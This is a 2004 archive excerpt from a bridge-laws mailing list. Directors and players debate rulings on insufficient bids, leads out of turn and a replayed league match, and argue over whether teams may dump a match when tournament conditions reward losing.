offered. > >But this is your game, and it is really none of our business to criticize so >please don't get our comments wrong. That's ok. I could tell you what is wrong with your league, if you liked, and why I would not want to run it your way. But i do not think it is my business to tell you why it is wrong, because it may not be wrong for Norway. -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From blml@blakjak.com Tue May 18 16:57:56 2004 From: blml@blakjak.com (David Stevenson) Date: Tue, 18 May 2004 16:57:56 +0100 Subject: [blml] A new one In-Reply-To: References: Message-ID: <2TpSY5NEKjqAFwcy@blakjak.demon.co.uk> David Stevenson wrote I thought you might be interested in what the League actually decided. If I remember right the match was known to be 25-5, 24-6, 23-7 or 22-8. The League's official [they do not have a Chief TD, which I find si... err surprising] decided that dependent on one other result this could decide who wins the league, or not. I think and hope he also decided it could not affect relegation. So he decided it would be scored 25-8 *unless* it affected who won the trophy. If it affected the trophy the two teams would have to replay [!!] their match. I found this decision a little .... [fill in your own blank] The vital match was against us: so long as they did not beat us by as much as 23-7 then they coudl not win the league. Naturally they beat us 23-7, pushing us to the verge of relegation, and now they can win, so they are replaying their match. Personally, I would have gone with the majority view here of allocating 25-8. For those of you who suggested giving the losing team some score in the 18+ region, that would relegate us, and it is difficult to see how that would be fair since they know they did not get more than 8 VPs. Anyway, the official who decided told me all about it including his decision quite happily and proudly, so I was kind!!!!! -- David Stevenson Bridge RTFLB Cats Railways /\ /\ Liverpool, England, UK Fax: +44 870 055 7697 @ @ ICQ 20039682 bluejak on OKB =( + )= Lawspage: http://blakjak.com/lws_menu.htm ~ From grandeval@vejez.fsnet.co.uk Tue May 18 17:13:28 2004 From: grandeval@vejez.fsnet.co.uk (grandeval) Date: Tue, 18 May 2004 17:13:28 +0100 Subject: [blml] Long Beach 39-40 References: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> <5.2.0.9.0.20040517131028.009f91f0@pop.starpower.net> Message-ID: <000d01c43d03$27fffaa0$2f9d87d9@4nrw70j> Grattan Endicott To: "Bridge Laws Discussion List" Sent: Monday, May 17, 2004 6:18 PM Subject: Re: [blml] Long Beach 39-40> > > I gave up my fight against the Kaplan doctrine a long time ago, and > have come to accept it, albeit somewhat reluctantly. Nevertheless, it > remains the case that the Kaplan doctrine is a matter of interpretation > (as Marv says, the WBF relying for its justification on an arguable > interpretation of the word "damage"), while the principle that the OS > may not gain from their own infraction is quite explicit in the words > of L12C2, no interpretation required. > +=+ In off-the-record discussions around the WBF committees - R&R and WBFLC (it was never officially on the agenda) - EK told us in the 1980's that ACBL ACs were having recourse too easily to the description 'egregious'. It was not clear to me whether this was only EK's opinion or one more widely shared in the ACBL hierarchy. It did influence our search for stronger language to define cause for denying redress, wholly or, as it may be, in part, to NOs. ~ G ~ +=+ From ehaa@starpower.net Tue May 18 21:22:59 2004 From: ehaa@starpower.net (Eric Landau) Date: Tue, 18 May 2004 16:22:59 -0400 Subject: [blml] Long Beach 39-40 In-Reply-To: <000d01c43d03$27fffaa0$2f9d87d9@4nrw70j> References: <5.2.0.9.0.20040517081005.00acd3e0@pop.starpower.net> <5.2.0.9.0.20040517131028.009f91f0@pop.starpower.net> Message-ID: <5.2.0.9.0.20040518160840.00ac2aa0@pop.starpower.net> At 12:13 PM 5/18/04, grandeval wrote: >+=+ In off-the-record discussions around the WBF committees - R&R >and WBFLC (it was never officially on the agenda) - EK told us >in the 1980's that ACBL ACs were having recourse too easily to the >description 'egregious'. It was not clear to me whether this was only >EK's opinion or one more widely shared in the ACBL hierarchy. It did >influence our search for stronger language to define cause for >denying redress, wholly or, as it may be, in part, to NOs. I have heard similarly from others, that Mr. Kaplan had been heard to say that his principle was being so overused as to be doing more harm than good. He also, I'm told, joked that he blamed himself, for not realizing that those responsible for enforcing the principle would have no clue what the word "egregious" meant (was the WBF following his lead when they chose not to use it?). Seriously though, not only was he right, but the situation has deteriorated since his passing, and continues to get worse. For some ACBL ACs, a majority opinion that a non-offender should have chosen a superior action is sufficient to deny redress to the NOS. And with all due respect to the ACBL hierarchy (I have to say that; my wife is one of them), I suspect that they would not so much disagree as have no clear concept of what we were talking about. Eric Landau ehaa@starpower.net 1107 Dale Drive (301) 608-0347 Silver Spring MD 20910-1607 From richard.hills@immi.gov.au Tue May 18 23:54:47 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 19 May 2004 08:54:47 +1000 Subject: [blml] A newer one Message-ID: In the thread, "A new one", David Stevenson wrote: [snip] >So he decided it would be scored 25-8 *unless* it >affected who won the trophy. If it affected the >trophy the two teams would have to replay [!!] >their match. > >I found this decision a little .... [fill in your >own blank] [snip] Richard James Hills writes: I found these conditions of contest a little .... [fill in your own blank] -> Six teams participated in the 2003 trials to select the Australian Open Team. The ABF decided to start with a round-robin stage, then follow-up with a series of knockout quarter-finals, semi-finals, and a grand final. So far, so good. But the ABF Tournament Unit now counted on its fingers, and noted that six teams playing in a set of knockout quarter-finals would not easily produce four winning teams to participate in a set of knockout semi-finals. The logical decision for the ABF Tournament Unit to make would be to decide that the two lowest ranked teams from the round-robin would be eliminated, and the knockout quarter-final stage would be scrapped, with the best four teams from the round-robin proceeding directly to knockout semi-finals. Instead, the ABF Tournament Unit decided that all teams would qualify from the round-robin to the knockout quarter-finals, with the round-robin merely deciding seeding (and carry-forward). The fixed pairings in the quarter-finals would be: Team 1 vs Team 6, Team 2 vs Team 5, Team 3 vs Team 4 The three winners from the quarter-finals would qualify to the semi-finals, plus the highest ranked loser. That is, Team 1 was playing a meaningless (for it) quarter-final match, and had the power to decide whether or not its chances of eventually winning the event would be enhanced if Team 6 was also a semi- finalist. It gets worse. The draw for the semi-final knockout matches was *pre-set*. When the trial was actually held, at 3-quartertime of the quarter-finals Team 1 had a big lead over Team 6. Team 1 examined the results after 3 quarters in the other quarter-finals, and noted that its likely semi-final opponent had a carry-forward advantage against Team 1. However, if Team 1 lost its quarter-final, then it would play a different team in its semi-final, and against that different team it would be Team 1 with the carry- forward advantage. Therefore, Team 1 approached the CTD, and requested permission to concede its quarter-final match against Team 6, despite Team 1 leading by 80-odd imps. As CTD, how would you rule? Best wishes RJH From HarrisR@missouri.edu Wed May 19 02:15:21 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Tue, 18 May 2004 20:15:21 -0500 Subject: [blml] How do you rule? In-Reply-To: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> References: <11EE85DA-A61E-11D8-BA3C-0030656F6826@rochester.rr.com> Message-ID: Ed Reppert wrote: >At the club tonight, the following sequence of events occurred: > >1. West, in 1NT, calls for a low diamond from the board (KT54) >2. East, dummy, says "you're in your hand." >3. North says "I'll accept the lead." >4. West faces the two of diamonds. >5. West says to North "you can't accept the lead, your partner has >to do that." >6. North says "let's call the Director". >7. West puts the two of diamonds back in his hand. >8. the director arrives, North relates events 1 through 3, 5 and 6. > >Your ruling, please? 1. Lead accepted. 2. diamond 4 played from dummy, diamond 2 played (out of rotation) by declairer. 3. South to play a diamond (if possible) with the diamond 2 remaining as declarer's played card. North to play after south has played. 4. Advise players to call the Director and not make up ruling themselves. REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From svenpran@online.no Wed May 19 03:10:57 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 19 May 2004 04:10:57 +0200 Subject: [blml] A newer one In-Reply-To: Message-ID: <001301c43d46$85c14f20$6900a8c0@WINXP> Long story with a short answer from me: I consider such tactics by participants as described below contempt of the game and I also consider setting up schedules like the ones described to be contempt of the participants. Regards Sven > -----Original Message----- > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > richard.hills@immi.gov.au > Sent: 19. mai 2004 00:55 > To: blml@rtflb.org > Subject: Re: [blml] A newer one > > > > > > In the thread, "A new one", David Stevenson wrote: > > [snip] > > >So he decided it would be scored 25-8 *unless* it > >affected who won the trophy. If it affected the > >trophy the two teams would have to replay [!!] > >their match. > > > >I found this decision a little .... [fill in your > >own blank] > > [snip] > > Richard James Hills writes: > > I found these conditions of contest a little .... > [fill in your own blank] -> > > Six teams participated in the 2003 trials to select > the Australian Open Team. The ABF decided to start > with a round-robin stage, then follow-up with a > series of knockout quarter-finals, semi-finals, and a > grand final. > > So far, so good. > > But the ABF Tournament Unit now counted on its > fingers, and noted that six teams playing in a set of > knockout quarter-finals would not easily produce four > winning teams to participate in a set of knockout > semi-finals. > > The logical decision for the ABF Tournament Unit to > make would be to decide that the two lowest ranked > teams from the round-robin would be eliminated, and > the knockout quarter-final stage would be scrapped, > with the best four teams from the round-robin > proceeding directly to knockout semi-finals. > > Instead, the ABF Tournament Unit decided that all > teams would qualify from the round-robin to the > knockout quarter-finals, with the round-robin merely > deciding seeding (and carry-forward). The fixed > pairings in the quarter-finals would be: Team 1 vs > Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > > The three winners from the quarter-finals would > qualify to the semi-finals, plus the highest ranked > loser. That is, Team 1 was playing a meaningless (for > it) quarter-final match, and had the power to decide > whether or not its chances of eventually winning the > event would be enhanced if Team 6 was also a semi- > finalist. > > It gets worse. The draw for the semi-final knockout > matches was *pre-set*. When the trial was actually > held, at 3-quartertime of the quarter-finals Team 1 > had a big lead over Team 6. Team 1 examined the > results after 3 quarters in the other quarter-finals, > and noted that its likely semi-final opponent had a > carry-forward advantage against Team 1. However, if > Team 1 lost its quarter-final, then it would play a > different team in its semi-final, and against that > different team it would be Team 1 with the carry- > forward advantage. > > Therefore, Team 1 approached the CTD, and requested > permission to concede its quarter-final match against > Team 6, despite Team 1 leading by 80-odd imps. > > As CTD, how would you rule? > > Best wishes > > RJH > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From HarrisR@missouri.edu Wed May 19 03:11:35 2004 From: HarrisR@missouri.edu (Robert E. Harris) Date: Tue, 18 May 2004 21:11:35 -0500 Subject: [blml] The Masochism Tango In-Reply-To: References: Message-ID: >Richard James Hills asked: > >[big snip] > >>>If so, does the WBF "sportsmanship" >>>regulation permit the TD to adjust DWS's >>>score from +2210 to -100? > >David Stevenson replied: > >> No idea - but this is different from >>the earlier case. >> >> If I have twelve tricks minus the ace >>of trumps then I claim. I consider it >>unsportsmanlike to play them out in case >>the opposition revoke. >> >> But if I have a reason to play on - 12 >>tricks is not guaranteed, perhaps - and an >>opponent's revoke gives me 13 then I have >>made the grand slam ***ethically***. > >Richard James Hills infracts netiquette: > >I fully agree with DWS's hair-splitting >distinction between proper use of Law 72A4 >and proper use of "sportsmanship". > >Best wishes > >RJH > So is the moral of the story that a defender holding the trump ace against a grand slam should claim at trick one? REH -- Robert E. Harris Phone: 573-882-3274. Fax: 573-882-2754 Department of Chemistry, University of Missouri-Columbia Columbia, Missouri, USA 65211 From richard.hills@immi.gov.au Wed May 19 03:32:34 2004 From: richard.hills@immi.gov.au (richard.hills@immi.gov.au) Date: Wed, 19 May 2004 12:32:34 +1000 Subject: [blml] Taking Insufficient bidders off the table Message-ID: Herman De Wael: [reordered relevant facts] >Comments? > >The setting is the oral examination for TD's (new >ones and a few recyclees) in Belgium. > >I am acting as the culprit, bidding 2He over a >2NT opening. > >2He opening would be Polish, 2He jump overcall >would be weak, 2He cue-bid would be Michael's, >2He over 1NT would be spades, 2He over 2Cl would >be natural and 2He over 2Di Multi would be take >out against hearts (which is how I would normally >play all those). > >I am supposed to have seen 1NT, over which 2He >shows spades, which is indeed the hand that I >have. But in true exam style, I have not told >this to the other players. > >In most cases after all, it is not known to the >table that my 2He actually shows spades. So it >becomes rather difficult for our candidates to >make the distinction between L26A and L26B. One >of them actually rules 26B. Richard James Hills: I would also rule Law 26B. The initial clause of Law 26A states that, "if the withdrawn call related to a specified suit or suits". But, by Herman's own admission, no particular suit or suits have been "specified", because what Herman promises by his insufficient bid is entirely dependent on which misreading of RHO's call Herman made. Herman De Wael: >Also noteworthy is that none of the candidates >told me (either at or off the table) that if I >repeat spades, the lead penalties disappear. Richard James Hills: I would rule that, even if Herman bid spades, the lead penalties would *not* disappear - after all, Herman's insufficient bid of 2H may have been intended as a natural weak jump overcall. Herman De Wael: >One more thought about applying L26B instead of >L26A: my partner at the table was also an >international TD (Jan Boets). In real life, he >would realise from the ruling (no possibility of >simply raising) that my 2He would have been >conventional. Richard James Hills: No. The criterion for a Law 27B1(a) ruling is *not* "would have been conventional", but rather "incontrovertibly not conventional". For example -> WEST NORTH EAST 1NT 2H 2C If East-West play Stayman, and if East-West play that 3C over 2H is long clubs and game-forcing values, and if East actually holds long clubs and game-forcing values for their 2C insufficient bid, as TD I would still rule that East's 2C call failed the "incontrovertibly not conventional" test, so I would apply Law 27B2. Indeed, if as TD I was ruling whether Law 27B1 or Law 27B2 was applicable, I would never look at the insufficient bidder's actual hand, I would only look at the insufficient bidder's convention card. Herman De Wael: >He would know which suit to return in, whereas >declarer might not know which suit to forbid. Richard James Hills: This is a different pair of sleeves. *If* the partner of an insufficient bidder has a partnership understanding (based on knowledge of the insufficient bidder's habits) as to the likely reason for the insufficient bid, *then* the partner of the insufficient bidder should be required to Alert the insufficient bid. Best wishes RJH From jaapvanderneut@hotmail.com Wed May 19 06:44:55 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 19 May 2004 07:44:55 +0200 Subject: [blml] A newer one References: <001301c43d46$85c14f20$6900a8c0@WINXP> Message-ID: Sven > I consider such tactics by participants as described below contempt of the > game and I also consider setting up schedules like the ones described to be > contempt of the participants. Good answer but no answer. Because you duck the real question, who is to blame. The SO or the players who try to optimalise their result given the conditions. For me the answer is simple. The SO is to blame not the players. But there have been other infamous cases. Remember that match in Yokohama where both teams wanted to lose a match because the loser would get an perceived easier opponent in the next round. There is really only one solution. The SO has to come up with conditions where dumping doesn't pay. Not that easy because one of the most common competition formats, round robin, is rather vulnerable to later rounds tactical jokes. Look at every other sport. Solution? I guess swiss (with possibly Danish last rounds depending on #teams and #rounds) or knock-out or a mix of those two. Hard to see how dumping is going to help you in these formats. Jaap ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Wednesday, May 19, 2004 4:10 AM Subject: RE: [blml] A newer one > Long story with a short answer from me: > > I consider such tactics by participants as described below contempt of the > game and I also consider setting up schedules like the ones described to be > contempt of the participants. > > Regards Sven > > > -----Original Message----- > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf Of > > richard.hills@immi.gov.au > > Sent: 19. mai 2004 00:55 > > To: blml@rtflb.org > > Subject: Re: [blml] A newer one > > > > > > > > > > > > In the thread, "A new one", David Stevenson wrote: > > > > [snip] > > > > >So he decided it would be scored 25-8 *unless* it > > >affected who won the trophy. If it affected the > > >trophy the two teams would have to replay [!!] > > >their match. > > > > > >I found this decision a little .... [fill in your > > >own blank] > > > > [snip] > > > > Richard James Hills writes: > > > > I found these conditions of contest a little .... > > [fill in your own blank] -> > > > > Six teams participated in the 2003 trials to select > > the Australian Open Team. The ABF decided to start > > with a round-robin stage, then follow-up with a > > series of knockout quarter-finals, semi-finals, and a > > grand final. > > > > So far, so good. > > > > But the ABF Tournament Unit now counted on its > > fingers, and noted that six teams playing in a set of > > knockout quarter-finals would not easily produce four > > winning teams to participate in a set of knockout > > semi-finals. > > > > The logical decision for the ABF Tournament Unit to > > make would be to decide that the two lowest ranked > > teams from the round-robin would be eliminated, and > > the knockout quarter-final stage would be scrapped, > > with the best four teams from the round-robin > > proceeding directly to knockout semi-finals. > > > > Instead, the ABF Tournament Unit decided that all > > teams would qualify from the round-robin to the > > knockout quarter-finals, with the round-robin merely > > deciding seeding (and carry-forward). The fixed > > pairings in the quarter-finals would be: Team 1 vs > > Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > > > > The three winners from the quarter-finals would > > qualify to the semi-finals, plus the highest ranked > > loser. That is, Team 1 was playing a meaningless (for > > it) quarter-final match, and had the power to decide > > whether or not its chances of eventually winning the > > event would be enhanced if Team 6 was also a semi- > > finalist. > > > > It gets worse. The draw for the semi-final knockout > > matches was *pre-set*. When the trial was actually > > held, at 3-quartertime of the quarter-finals Team 1 > > had a big lead over Team 6. Team 1 examined the > > results after 3 quarters in the other quarter-finals, > > and noted that its likely semi-final opponent had a > > carry-forward advantage against Team 1. However, if > > Team 1 lost its quarter-final, then it would play a > > different team in its semi-final, and against that > > different team it would be Team 1 with the carry- > > forward advantage. > > > > Therefore, Team 1 approached the CTD, and requested > > permission to concede its quarter-final match against > > Team 6, despite Team 1 leading by 80-odd imps. > > > > As CTD, how would you rule? > > > > Best wishes > > > > RJH > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From gesta@tiscali.co.uk Wed May 19 07:00:43 2004 From: gesta@tiscali.co.uk (gesta@tiscali.co.uk) Date: Wed, 19 May 2004 07:00:43 +0100 Subject: [blml] A newer one References: Message-ID: <003201c43d6c$444c7440$9e01e150@multivisionoem> Grattan Endicott To: Sent: Tuesday, May 18, 2004 11:54 PM Subject: Re: [blml] A newer one > > > It gets worse. The draw for the semi-final knockout > matches was *pre-set*. When the trial was actually > held, at 3-quartertime of the quarter-finals Team 1 > had a big lead over Team 6. Team 1 examined the > results after 3 quarters in the other quarter-finals, > and noted that its likely semi-final opponent had a > carry-forward advantage against Team 1. However, if > Team 1 lost its quarter-final, then it would play a > different team in its semi-final, and against that > different team it would be Team 1 with the carry- > forward advantage. > > Therefore, Team 1 approached the CTD, and requested > permission to concede its quarter-final match against > Team 6, despite Team 1 leading by 80-odd imps. > > As CTD, how would you rule? > +=+ :-) I would exercise my Law 81C9 power to refer the matter to the appropriate committee. ~ G ~ +=+ From hans-olof.hallen@bolina.hsb.se Wed May 19 07:51:52 2004 From: hans-olof.hallen@bolina.hsb.se (=?iso-8859-1?Q?Hans-Olof_Hall=E9n?=) Date: Wed, 19 May 2004 08:51:52 +0200 Subject: [blml] a new one Message-ID: <006901c43d6d$c44803c0$7e23b5d4@swipnet.se> To David S. My intention was far from criticising anybody and if I have done so, I = apologize. I was just trying to say how we handle missing results here, = making somebody responsible for posting results. Yours etc Hans-Olof From svenpran@online.no Wed May 19 08:04:18 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 19 May 2004 09:04:18 +0200 Subject: [blml] A newer one In-Reply-To: Message-ID: <000001c43d6f$80f52470$6900a8c0@WINXP> Jaap van der Neut > Sven > > I consider such tactics by participants as described=20 > > below contempt of the game and I also consider setting > > up schedules like the ones described to be contempt of > > the participants. >=20 > Good answer but no answer. Because you duck the real question, who is = to > blame. The SO or the players who try to optimalise their result given = the > conditions. No answer? Tell me how you rule against a participant who shows contempt = of the game? I didn't think it was necessary to spell it out that such a participant comes very close to expulsion by me. However, I should be very reluctant even to accept serving as Director = at an event organized in such a vulnerable way. =20 > For me the answer is simple. The SO is to blame not the players. But = there > have been other infamous cases. Remember that match in Yokohama where = both > teams wanted to lose a match because the loser would get an perceived > easier opponent in the next round. >=20 > There is really only one solution. The SO has to come up with = conditions > where dumping doesn't pay. Not that easy because one of the most = common > competition formats, round robin, is rather vulnerable to later rounds > tactical jokes. Look at every other sport. And participants in Norway who are "playing" such jokes in the later = rounds of a round robin event will soon find themselves objects of some severe disciplinary action. I remember a question to candidates for TD exams: How do you rule if a player opens the auction with a bid of 7NT without having looked at his cards? (This was before 1987 when we got Law 7B1 which requires each = player to inspect the faces of his cards before calling). The correct answer? He has made a psyche (which is legal) and at the = same time informed the other players at the table (including his partner = which is illegal) that his call was a psyche. He has also shown contempt of the = game which should result in expulsion from that event. I cannot remember experiencing (or being told of) any such "jokes" in serious events here in Norway.=20 Sven =20 > Solution? I guess swiss (with possibly Danish last rounds depending on > #teams and #rounds) or knock-out or a mix of those two. Hard to see = how > dumping is going to help you in these formats. >=20 > Jaap >=20 >=20 > ----- Original Message ----- > From: "Sven Pran" > To: "blml" > Sent: Wednesday, May 19, 2004 4:10 AM > Subject: RE: [blml] A newer one >=20 >=20 > > Long story with a short answer from me: > > > > I consider such tactics by participants as described below contempt = of > the > > game and I also consider setting up schedules like the ones = described to > be > > contempt of the participants. > > > > Regards Sven > > > > > -----Original Message----- > > > From: blml-admin@rtflb.org [mailto:blml-admin@rtflb.org] On Behalf = Of > > > richard.hills@immi.gov.au > > > Sent: 19. mai 2004 00:55 > > > To: blml@rtflb.org > > > Subject: Re: [blml] A newer one > > > > > > > > > > > > > > > > > > In the thread, "A new one", David Stevenson wrote: > > > > > > [snip] > > > > > > >So he decided it would be scored 25-8 *unless* it > > > >affected who won the trophy. If it affected the > > > >trophy the two teams would have to replay [!!] > > > >their match. > > > > > > > >I found this decision a little .... [fill in your > > > >own blank] > > > > > > [snip] > > > > > > Richard James Hills writes: > > > > > > I found these conditions of contest a little .... > > > [fill in your own blank] -> > > > > > > Six teams participated in the 2003 trials to select > > > the Australian Open Team. The ABF decided to start > > > with a round-robin stage, then follow-up with a > > > series of knockout quarter-finals, semi-finals, and a > > > grand final. > > > > > > So far, so good. > > > > > > But the ABF Tournament Unit now counted on its > > > fingers, and noted that six teams playing in a set of > > > knockout quarter-finals would not easily produce four > > > winning teams to participate in a set of knockout > > > semi-finals. > > > > > > The logical decision for the ABF Tournament Unit to > > > make would be to decide that the two lowest ranked > > > teams from the round-robin would be eliminated, and > > > the knockout quarter-final stage would be scrapped, > > > with the best four teams from the round-robin > > > proceeding directly to knockout semi-finals. > > > > > > Instead, the ABF Tournament Unit decided that all > > > teams would qualify from the round-robin to the > > > knockout quarter-finals, with the round-robin merely > > > deciding seeding (and carry-forward). The fixed > > > pairings in the quarter-finals would be: Team 1 vs > > > Team 6, Team 2 vs Team 5, Team 3 vs Team 4 > > > > > > The three winners from the quarter-finals would > > > qualify to the semi-finals, plus the highest ranked > > > loser. That is, Team 1 was playing a meaningless (for > > > it) quarter-final match, and had the power to decide > > > whether or not its chances of eventually winning the > > > event would be enhanced if Team 6 was also a semi- > > > finalist. > > > > > > It gets worse. The draw for the semi-final knockout > > > matches was *pre-set*. When the trial was actually > > > held, at 3-quartertime of the quarter-finals Team 1 > > > had a big lead over Team 6. Team 1 examined the > > > results after 3 quarters in the other quarter-finals, > > > and noted that its likely semi-final opponent had a > > > carry-forward advantage against Team 1. However, if > > > Team 1 lost its quarter-final, then it would play a > > > different team in its semi-final, and against that > > > different team it would be Team 1 with the carry- > > > forward advantage. > > > > > > Therefore, Team 1 approached the CTD, and requested > > > permission to concede its quarter-final match against > > > Team 6, despite Team 1 leading by 80-odd imps. > > > > > > As CTD, how would you rule? > > > > > > Best wishes > > > > > > RJH > > > > > > > > > _______________________________________________ > > > blml mailing list > > > blml@rtflb.org > > > http://www.amsterdamned.org/mailman/listinfo/blml > > > > > > > > _______________________________________________ > > blml mailing list > > blml@rtflb.org > > http://www.amsterdamned.org/mailman/listinfo/blml >=20 > _______________________________________________ > blml mailing list > blml@rtflb.org > http://www.amsterdamned.org/mailman/listinfo/blml From hermandw@hdw.be Wed May 19 08:23:52 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 19 May 2004 09:23:52 +0200 Subject: [blml] A newer one In-Reply-To: <003201c43d6c$444c7440$9e01e150@multivisionoem> References: <003201c43d6c$444c7440$9e01e150@multivisionoem> Message-ID: <40AB0B88.4040105@hdw.be> gesta@tiscali.co.uk wrote: >> >>As CTD, how would you rule? >> > > +=+ :-) I would exercise my Law 81C9 power to refer > the matter to the appropriate committee. ~ G ~ +=+ > The appropriate committee being of course the one that wrote these *#!? conditions in the first place. But I agree with Jaap. If these are the condiditions, then the players have every right to demonstrate how silly they are by acting in this manner. Personally, I would not accept the concession, unless I felt equally affected by the whole thing, as in having told the Committee time and time again that the conditions were silly. -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From svenpran@online.no Wed May 19 08:35:24 2004 From: svenpran@online.no (Sven Pran) Date: Wed, 19 May 2004 09:35:24 +0200 Subject: [blml] A newer one In-Reply-To: <40AB0B88.4040105@hdw.be> Message-ID: <000301c43d73$d931a7e0$6900a8c0@WINXP> > Herman De Wael > Sent: 19. mai 2004 09:24 > To: blml > Subject: Re: [blml] A newer one > > gesta@tiscali.co.uk wrote: > > >> > >>As CTD, how would you rule? > >> > > > > +=+ :-) I would exercise my Law 81C9 power to refer > > the matter to the appropriate committee. ~ G ~ +=+ > > > > The appropriate committee being of course the one that wrote these > *#!? conditions in the first place. > > But I agree with Jaap. If these are the condiditions, then the players > have every right to demonstrate how silly they are by acting in this > manner. Personally, I would not accept the concession, unless I felt > equally affected by the whole thing, as in having told the Committee > time and time again that the conditions were silly. In your place, if you had told the Committee time and time again that the conditions were silly; I wouldn't accept the job until they changed the conditions in a satisfactory way. Regards Sven From hermandw@hdw.be Wed May 19 08:56:08 2004 From: hermandw@hdw.be (Herman De Wael) Date: Wed, 19 May 2004 09:56:08 +0200 Subject: [blml] A newer one In-Reply-To: <000301c43d73$d931a7e0$6900a8c0@WINXP> References: <000301c43d73$d931a7e0$6900a8c0@WINXP> Message-ID: <40AB1318.9070704@hdw.be> Sven Pran wrote: >>Herman De Wael >>Sent: 19. mai 2004 09:24 >>To: blml >>Subject: Re: [blml] A newer one >> >>gesta@tiscali.co.uk wrote: >> >> >>>>As CTD, how would you rule? >>>> >>> >>>+=+ :-) I would exercise my Law 81C9 power to refer >>>the matter to the appropriate committee. ~ G ~ +=+ >>> >> >>The appropriate committee being of course the one that wrote these >>*#!? conditions in the first place. >> >>But I agree with Jaap. If these are the condiditions, then the players >>have every right to demonstrate how silly they are by acting in this >>manner. Personally, I would not accept the concession, unless I felt >>equally affected by the whole thing, as in having told the Committee >>time and time again that the conditions were silly. > > > In your place, if you had told the Committee time and time again that the > conditions were silly; I wouldn't accept the job until they changed the > conditions in a satisfactory way. > Not necessarily. Even silly conditions can stand up to the test for a long time. I might have told the SO that the conditions were silly, but never in the past five years did it reach the point where dumping could become profitable. And then suddenly, up spring the conditions and I can say "I told you so". But that would not necessarily mean I could not direct the event in the meanwhile. > -- Herman DE WAEL Antwerpen Belgium http://www.hdw.be From jaapvanderneut@hotmail.com Wed May 19 08:54:56 2004 From: jaapvanderneut@hotmail.com (Jaap van der Neut) Date: Wed, 19 May 2004 09:54:56 +0200 Subject: [blml] A newer one References: <000001c43d6f$80f52470$6900a8c0@WINXP> Message-ID: Sven, Of course I agree with you to a large extent but ..... > And participants in Norway who are "playing" such jokes in the later rounds > of a round robin event will soon find themselves objects of some severe > disciplinary action. That you do something about people opening 7NT ok, but what do you do about a team out of contention playing the last round free-wheeling (not dumping but well they have no real motivation anymore) lossing 25-5 to someone in contention. Culturally this is quite different (we dislike 7NT, we tend to accept a disspirited team), logically it is exactly the same (the effect is the same). > No answer? Tell me how you rule against a participant who shows contempt of > the game? I didn't think it was necessary to spell it out that such a > participant comes very close to expulsion by me. Here you make a big mistake IMHO. The players try to win the event and if the event is organised in a way that dumping increases the change of winning how are you going to blame the players. We play a competition you know, not a beauty contest. It can be argued that players show contempt of the competition (as defined by this silly SO) by NOT dumping when it is in their best interest to do so. Anyway on what grounds are you ruling against the players given what the SO imposes on them. Actually we had such a case in Holland a few years ago. A pair said they wanted to start dumping at a certain stage (which was a sound tactic given the format !) and the poor unprepared TD had no idea what to do about it (the SO really should handle such a problem because of conflicting rules and political complications). Anyway the pair did their dumping achieving their goal (improved change of reaching the final of a multi stage event) completely destroying the result of the current heat (causing dozens of appeals and complaints). SO (indirectly the Dutch Fed) unhappy and imposing al kind of penalties on the pair including expulsion. This also was appealed of course and in the end the SO lost the case completely. The final ruling (by the independent legal committee of the Dutch Fed) was simple. Dumping was a reasonable tactic given the COC (in the sense that it was in the best interest of the players). So the SO should improve the COC rather than blame the players. Anyway I am still angry about certain persons in the SO/Dutch Fed because we lost a very competent TD over this one. Although the final ruling implied the TD had handled the case 'perfectly' the SO had blamed him for the mess (this much I know) and for reasons unknown to me (no apologies !?) he has never worked again. > However, I should be very reluctant even to accept serving as Director at an > event organized in such a vulnerable way. That makes more sense to me. Same is true for the players. If you decide to participate in such an event I guess you have to accept reality. Jaap ----- Original Message ----- From: "Sven Pran" To: "blml" Sent: Wednesday, May 19, 2004 9:04 AM Subject: RE: [blml] A newer one Jaap van der Neut > Sven > > I consider such tactics by participants as described > > below contempt of the game and I also consider setting > > up schedules like the ones described to be contempt of > > the participants. > > Good answer but no answer. Because you duck the real question, who is to > blame. The SO or the players who try to optimalise their result given the > conditions. No answer? Tell me how you rule against a participant who shows contempt of the game? I didn't think it was necessary to spell it out that such a participant comes very close to expulsion by me. However, I should be very reluctant even to accept serving as Director at an event organized in such a vulnerable way. > For me the answer is simple. The SO is to blame not the players. But there > have been other infamous cases. Remember that match in Yokohama where both > teams wanted to lose a match because the loser would get an perceived > easier opponent in the next round. > > There is really only one solution. The SO has to come up with conditions > where dumping doesn't pay. Not that easy because one of the most common > competition formats, round robin, is rather vulnerable to later rounds > tactical jokes. Look at every other sport. And participants in Norway who are "playing" such jokes in the later rounds of a round robin event will soon find themselves objects of some severe disciplinary action. I remember a question to candidates for TD exams: How do you rule if a player opens the auction with a bid of 7NT without having looked at his cards? (This was before 1987 when we got Law 7B1 which requires each player to inspect the faces of his cards before calling). The correct answer? He has made a psyche (which is legal) and at the same time informed the other players at the table (including his partner which is illegal) that his call was a psyche. He has also shown contempt of the game which should result in expulsion from that event. I cannot remember experiencing (or being told of) any such "jokes" in serious events here in Norway. Sven > Solution? I guess swiss (with possibly Danish last rounds depending on > #teams and #rounds) or knock-out or a mix of those two. Hard to see how > dumping is going to help you in these formats. > > Jaap > 